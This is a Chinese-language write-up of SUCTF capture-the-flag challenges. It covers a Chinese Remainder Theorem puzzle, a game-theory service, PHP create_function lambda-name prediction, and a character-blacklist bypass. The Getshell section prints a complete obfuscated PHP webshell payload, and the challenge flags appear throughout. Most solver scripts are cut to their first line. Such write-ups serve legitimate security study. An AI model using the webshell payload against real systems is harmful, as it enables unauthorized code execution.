Misc
SandGame
1 | import flag |
flag被转化为16进制,并和20个互素的数字取模,符合中国剩余定理的条件。
python解题脚本:
1 | # coding: UTF-8 |
输出16进制的flag,转化为ascii字符串。
flag{This_is_the_CRT_xwg)}
Game
一道博弈论题目,开头sha256爆破,之后是三种经典博弈巴什博奕,威佐夫博弈,尼姆博弈
脚本写的很丑。。
1 | from pwn import * |
SUCTF{gGGGGggGgGggGGggGGGggGgGgggGGGGGggggggGgGggggGg}
Web
Anonymous
php代码:
1 |
|
create_function()
函数可以创建一个匿名函数,但当匿名函数创建之后,他自己也有对应的名称。
\x00lambda_%d
,%d
代表他是当前进程中的第几个匿名函数,但是他是无法预测的,我们不知道当前进程中还有多少匿名函数。
func_name=phpinfo
,查看phpinfo,apache使用了prefork的mod,在这个模式下,apache会重开进程来处理大量的请求,这样就可以预测%d
了。
orange师傅的fork脚本
1 | # coding: UTF-8 |
getflag:
1 | import requests |
SUCTF{L4GsMqu6gu5knFnCi2Te8SjSucxKfQj6tuPJokoFhTCJjpa6RSfK}
Getshell
绕过黑名单的题目,测试可用字符有~[]()=_;.
,用这些组成一个shell。
摘自findneo师傅的blog
1 | $_=_==_;$__=~一[$_];$___=~了[$_];$____=~端[$_];$_____=~得[$_];$______=~第[$_];$_______=~学[$_];$_=_.$__.$___.$____;$_=$$_;$__=$_____.$______.$______.$___.$_______.$____;$__($_[_]); |
分析
1 |
|
SUCTF{KyGeBLWoF9MXcdDKBdbw2B54sMxbsxyXBpm8t5nQUHBJKuAYEd6o}